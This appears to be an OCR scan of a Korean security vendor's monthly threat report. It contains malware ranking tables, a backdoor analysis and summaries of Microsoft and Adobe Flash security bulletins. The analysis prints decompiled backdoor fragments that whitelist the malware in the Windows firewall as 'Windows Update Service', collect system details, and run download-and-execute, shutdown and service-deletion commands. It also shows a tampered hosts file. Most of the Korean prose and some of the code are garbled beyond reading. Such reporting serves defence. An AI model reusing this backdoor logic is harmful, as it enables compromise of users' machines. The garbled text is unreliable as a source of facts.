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29 ogIE FEHY st na) o
1 = Spyware.OnlineGames.wsxp Spyware 8,255
2 New  Variant.Graftor.14823 Etc 6,617
3 New  Adware.Agent.454656 Adware 3,751
4 15  Trojan.DownloaderAgent.499712 Trojan 2,056
5 i1 Spyware.OnlineGames-GLG Spyware 2,021
6 t4  Worm.Conficker Worm 1,918
7 New  Variant.Graftor.14815 Etc 1,865
8 3 Trojan.Fakealert.CSK Trojan 1,733
9 New  Gen:Variant.Graftor.14823 Etc 1,649
10 New  Adware.Kraddare.BZ Adware 1,416
11 New  Adware.Kraddare.CA Adware 1,391
12 15  Trojan.Downloader.86016 Trojan 1353
13 New  Variant.Buzy.4666 Etc 1,322
14 New  Trojan.Generic.KDV.532540 Trojan 1,321
15 New Spyware.OnIineGames.nsys Spyware 1,296
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7|E} (Etc) (Trojan) = Oj=90f (Adware)
205 17%

E=20| =0t

H F 2™ (Exploit)
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S NET = 71% B9
A1}0|$

(Spyw;re) m 2 0 (Backdoor)
2l (Worm) oi=giof 219 o 0| A (Virus)
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17%
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2 T3l MnF0ls HOF ALEAIS IS SHAiA AEd ZutEM, 8 A0 ASE LEf
L= Jef= Lot &€oF 209 Arsilnr|sof Qldf Z& HolE7t A Ze &d 938 &
B A0 AR7t AL SUrMeL 128 RHe M A 571 38 A% dafaLn
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(1) 7L
9 OEIELE CINHOZ BATSO| Aofs YMHIE WEAFHN WE S8 BAO[S
S &St ABXIE Stog 243 o E2|AH 0| FHAFZ Sl AR ZEA AHE

(2) HYIE 24
30 4802 BUEE S2 HUE HEORN LYW O121 2L LS +Y
g + gL
1 2t PC X Ho
2. E™ MB{0| Cfet CC Attack
392 Y oeRc, 4
4 hostsTHY WIZEZ S ul ¥& KT (F2 WA YCo[E0] FoE AHOIE W)
5. JIEF BAXTH WA o MY NI JI5E
Chadl HOIXIZH ZYE PCO BE MBS JFW 4 | RO YYEHW O2 =
20| BHR Yot Ch2 FHS U 4 AA FUck
T20lE{7} -sve 2 A% 2 I R S okn, 1K $2 O AAS MXshs

lsg +dstA Eut

2E4e4330 call Get_cmd_param
BB4B433E mov eax, [ebptvar_14]
28484341 mov edx, offset asvc ; "-swvc”
@ged4pa34s call string_cmp
8484348 jnz short Install
¥ B ¥
88484340 call API_Rebuild| |e@4@8438C
AR484352 test 2ax, eax Ap48438C Install: 3 COr
8e484354 jz loc_ 484423 8848438C call API_Rebuild
288484391 test eax, eax
20484393 jz loc_484428
I ] |—|
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DF(E) HEE) MA(0) ZSUH)
127.8.0.1 localhost
ftben U3
127.8.8.1 ~~~*-%- %= -% -oo
127.8.0.1 1.ahsl
127.8.0.1
127.8.8.1 of lab
127.8.0.1 "D il
ftben AL
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Ml AlY<c L2 4 s 29X Ut W7t HOIEY HTM IS
Data = @;
memset(&v12, @, @x3FCu);
vli = @;
vid = @;

sprintf{&Data, "¥s:*:Enabled:¥s", lpValueName, "Windows Update Service™);
cbData = strlen(&Data) - 1;
memset(&vd, @, @x3FCu);

vs o= @y
vh o= @
strepy(

(char *}&subkey,
"SYSTEMM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List");
if ( !RegOpenKeyExA(HKEY LOCAL MACHINE, &Subkey, @, 131878u, &hKey) )

RegSetValueExA{hKey, lpValueName, @, 1lu, (const BYTE *)&Data, cbData);

RegCloseKey(hkey);
1
FIMHo 2 ZUYE AFRXPC 2 Windows OS {7, CPUME, H22|o] 82 S HEE
S5t SAXOA HEeL

VersionInformation.dwdsVersionInfosize = 156;

GetVersionExA(&VersionInformation);

if { VersionInformaticn.dwMajorVersion <= 4 )
ve = (int)"NT";

if { versiocnInformation.dwMajorVersion != 5 )
goto LABEL_1@;

if { WersicnInformation.dwMinorVersion )
ve = (int)"2000";

if ( VersionInformaticn.dwMinorVersion == 1 )
VB = (int)"XP";
if { VersionInformaticn.dwMinorVersion == 2 )

1

v@ = (int)"2803";

\BEL_10:
if { versicnInformation.dwMajorVersion == 6 )
1

if ( !'WersionInformaticn.dwMinorversion )
v@ = (int)"2008";
if { VersionInformaticn.dwMinorVersion == 1 )
ve = (int)"7";
¥

sprintf(&Dest, "¥s SPEJ", ve, v22};

Subkey = 83

memset({&v15, @, @x1l8eu);

vio = @;

V2B = @8;

lstrepyA(&Subkey, "HARDWAREM\DESCRIPTION'ASystem\\CentralProcessor\\@"};

if ( !RegDpenKeyExA(HKEY LOCAL_MACHINE, &Subkey, @, KEY ALL_ACCESS, &hkey) )

Type = 13

chData = 208;

RegQueryValueExA(hKey, "ProcessorMameString”, @, &Type, &Data, &chData);
RegClosekey(hkey);

V5
VB

LoadLibraryA( "kernel32.d11");
GetProcAddress(vs, "GlobalMemoryStatusEx");
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(3)
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case 7
memcpy (&v3, 22, @x528u);
1 ShellExecute iexplore(&Text);

E3

break;

case BxB:
memcpy (&vD, 32, @x523u);
result = URLDownloadToFileA CreateProcess(&Text);
break;

case 8:
result = ExitWindows _9();
break;

case 9:
result = ExitWindows 2();
bhreak;

case BxA:
result = ExitWindows_4();
break;

case 5:
memcpy(&.’, a2, @x528u);
~esult = MessageBox(&Text);
break;

case 4:

DeleteService_SetFileAttributes();
return result;
case @xl3:

memcpy (&va, a2, Ex528uj,
sub_100@5F6@(&10, v11);
~esult = sub_18064D48(*{ DWORD *}(vi + 4));
break;
case BxD:
memcpy (&vD, 32, @x523u);
result = SetupPlug(&valy;
break;
rase AxFE:

Al BalRHLE H—'.“L'%HIQI ARl 41 FUE F2 0/got
SHet, HEAE 8 8
27, 12l w0l y2

o ol EMe AR Fo| & £ Us A2 AIBSte 2ZEQ0 RIE
EetfX, Eai4l, AtHE S3)2 4 EQtIiX| YHo|EE TSt %Xlﬁré
b o
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o
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1 W32/Mytob-C 5,823 49.52%

2 W32/MyDoom-H 2417 20.56%

3 Mal/ZipMal-B 1,958 16.65%

4 W32/Virut-T 534 4.54%

5 Troj/CryptBx-ZP 97 0.82%

6 W32/Lovgate-V 95 0.81%

6 W32/MyDoom-N 95 0.81%

8 Mal/BredoZp-B 93 0.79%

9 W32/MyDoom-AJ 59 0.50%

10 W32/Netsky-P 50 0.43%
2 Y Lo AEIAE w2 28 HIO|2A UM HAHE AHYIE T Top 105
H2 = YULICL X W32/Mytob-C7t 49.52% = X|LHEHO| 0|0 AL =2 192 KX
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« Microsoft 3% X7| EoF Af|o|E

A7 HAIEC| FYHOE ol €A IS MY 2, DNS MH{o| HYHo= o3

HA HE ZX, Windows 4E 2E E2IO|HO| FAXMOZ Qlst

Studio®| FefHo= Qlot Wot 45 =AM o2 5= Z&St Microsoft 338 F7| 2ot

HO|EZl ERERASLICH

<o’ HZF>

» Windows XP

» Windows Vista

» Windows 7

» Windows Server 2003

» Windows Server 2008

» Windows Server 2008 R2

<#lod 28>

27 gA3E0 FAHLE AP

5 917 AE AlY 2R|H(2671387)

of Hot AO|EL U2 HAIE ZREZO|N LU HBHEoR BaE HopH 2
=

AS SZLLICE O] & 7Y dAeh FAH2 SAXIL E54A =%El RDP izl AR

25 gdgs U= A2 TS B2 B4 RE HAS 58T = JUsLILL 7|E2He

2 RDP(HY H2A3E ZEEZ)2 Z& Windows 2% HMAOM ALBEE=E HEHE O

UAX|= WELICEL RDPZL AME 74SOHA| e Al2B2 FSHA| Es Lt

DNS MH2| FAHoz Qs MH|A HE ZX|FH(2647170)

O] 2O AHO|EE H|S/WHLZ EIEl Microsoft Windows?Q| F ™2 s ZgL|Ct O]

FAHoz Qs ABERX A2 HF SHXIE EoHA Z=EEl DNS H2|E e DNS

MHO| BE'd ZL2 MH|A ARIF frdg = ASLCH

Windows {2 R E EZIO|HHo| FAMOoZ QIst Mt AL 2XH|H(2641653)

0| 29 HHO|EE HIF/WHSZ E1El Microsoft Windowse| FUXME s|ZATL|CH &
FoHA ZEE 38 Z2OUS LYY 2 0 FUYHER

ARPE A" 21281
2 ols) W As0| BB

=2 X4 Y2 7MKL 222 2329 5 U0OF Lk

Visual Studio2| FdHoz olst Mt A5 22X H(2651019)

0] 29t AQO|EL H|EJ/|Mez2 ENE Visual Studioo %™ 1A

= 2
FAEHe=z Qs SHA7t Visual StudioO| M ALEEl= BEO| S5tA =EE 7t 7
S HjX|5tn BELCt =2 HBES Zt= AF2XL7F Visual StudioE A|XSIEE QLS AL
of 450 3{8E = JUFULCH O FAFEES A8t S4X7L g 22 X4
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Expression Design2| FHo =z QIot {12 AE HA# 2X|F(2651018)

O] HQt AUOH0|E= H|ZWXH o2 HIE Microsoft Expression Design®| #|2H 14 g df

ZYLCE O FofHez Qdf AHEAZL S5t =4E DLU(SH AZ 2to|22(2]) oY
1 et HE/R CI-ME2(of A= LAY DO xpr £ DESIGN mte)s o=

[= |
Ze 9% IS Mo 88 4 YBUCL OFA ¥ TN mUS I o
Microsoft Expression DesignO| DLL It ZC Gl Z3tEl FE MG AT 4= Q&EL|CH
S40| 435t E, AFEXZE AR £ gl 34 I A|AH f[X| s WebDAV 37/
€ Z2O#0| 2Eg|= oAl o (0f: xpr

£ 2oLt ol2{et RIXOM Hetet S
£ DESIGN Ij)2 Zofof &Hict.

DirectWrite2| #|FMo =z Ol$h MH|A HE 2H ™ (2665364)
0] EQt AL O]EL= Windows DirectWriteQ| Z70E #AMS SjATL|CE O FHAXoZ
|.

lef QAUAHE OfLAN 7|8 ALt2| 20| SHAXI E45HAH Z=2HE Unicode X AR
25 QIAHE OAXN SE0|HE HZE TEY 42 MH|A AR 2dd = UGS
DirectWrite7} E4=5}74 Z=Z= Unicode 22X} A|ZEAE O M CHMN S8 =22
of SEHA 22 + ALk
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sig ForEsel

Windows UpdateE =&5}7{Lt Microsoft 29t ZX| 2F ALO|E O A
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Hxol X HYS CIRRE Wg & s

F

rok

. http://technet.microsoft.com/ko-kr/security/bulletin/MS12-mar

=1
=
& : http://technet.microsoft.com/en-us/security/bulletin/MS12-mar
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« Adobe Flash Player CI& F 2™ QAGO|E H1
CVE Number : CVE-2012-0768, CVE-2012-0769

Adobe Flash Player Of dgts F&= CHEQ FAES diZct EoF YHOIEZIER &[/UE
LICh. WS H{FOo| Adobe Flash Player AF&AH= MTC 2t So| 90| 9OOR &

Z2geto| meh HiMdez AHO|E SHA|7| HHEL

=¥
_l_

<o’ HE>

« AT, OZIEA|, E|E2A, &2t2|A 2H A SZHS= Adobe Flash Player 11.1.102.62
9 o|™

e OIEZ0|E4X ZHHO|M ZZHSH= Adobe Flash Player 11.1.1156 & O™

e OtEZO|E3X, 2.X 24 0|A S2t5l= Adobe Flash Player 11.1.111.6 5! O|™ HH
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« A& HEt2 X0 A SZ5l= Adobe Flash Player 11.1.102.62 31 O|ME{

24 >
A2, IZIEA|, 2|52, SEt2lA 2HHE9| Adobe Flash Player 11.1.102.62 5! O|F™ H

http://get.adobe.com/kr/flashplayer0f 22310 %A HMO| ZofA|EY0|HE MHX|SHA
Lt At YHO|EE 0|83t0] YH0|E grLCt.

slz0 | Adobe Flash Player A2 X}:
OtC 20|C Op20f Z <3810 Adobe Flash Player %|AH{7F S A X|SHL|C}.

<%0 AIO|E>

http://www.adobe.com/support/security/bulletins/apsb12-05.html
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